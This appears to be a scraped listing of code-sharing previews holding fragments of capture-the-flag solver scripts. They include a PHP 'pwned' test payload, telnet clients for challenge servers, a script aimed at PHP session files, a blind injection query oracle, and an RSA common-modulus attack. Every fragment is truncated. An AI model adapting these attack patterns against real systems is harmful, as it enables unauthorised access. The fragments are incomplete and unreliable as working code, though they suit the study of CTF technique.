This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
echo "pwned"; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from telnetlib import * | |
import json | |
import hashlib | |
from Crypto.Util.number import * | |
from libnum import * | |
r = Telnet('125.235.240.166', 13337) | |
def get_key(): | |
data = json.loads(r.read_until("\n").strip()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from telnetlib import * | |
import json | |
from libnum import * | |
r = Telnet('125.235.240.166', 13338) | |
def get_pub(): | |
r.read_until("Your choice: ") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import string | |
from hashlib import * | |
phpsessid = 't6f6errrlbpc4ldos3jdtdf6or' | |
sess_file = '/var/lib/php/sessions/sess_' + phpsessid | |
_role = '8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe' # user role | |
def settting(name): | |
s = requests.Session() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
def query(q): | |
s = requests.Session() | |
url = 'http://localhost:7002/?query1=' + q | |
r = s.get(url) | |
if r.text.count('Success') == 4: | |
return True | |
else: | |
return False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://ed25519.cr.yp.to/python/ed25519.py | |
import hashlib | |
b = 256 | |
q = 2**255 - 19 | |
l = 2**252 + 27742317777372353535851937790883648493 | |
def H(m): | |
return hashlib.sha512(m).digest() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from telnetlib import * | |
r = Telnet('125.235.240.166', 12346) | |
r.read_until('r = ') | |
r_ = int(r.read_until(' and ').strip(' and ')) | |
r.read_until('p = ') | |
p = int(r.read_until('\n').strip()) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from sage.all import * | |
from Crypto.Util.number import * | |
#Common Modulus attack | |
def common_modulus_attack(c1,c2,e1,e2,n): | |
print '-----------------------------------Starting Common modulus attack ...----------------------------' | |
g,a,b = xgcd(e1,e2) | |
print a,b | |
c1 = pow(c1,a,n) | |
c2 = pow(c2,b,n) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Crypto.Cipher import AES | |
import binascii | |
def xor(a, b): | |
""" Returns a new byte array with the elements xor'ed. """ | |
return bytes(i^j for i, j in zip(a, b)) | |
def bytes2matrix(text): | |
""" Converts a 16-byte array into a 4x4 matrix. """ | |
return [list(text[i:i+4]) for i in range(0, len(text), 4)] |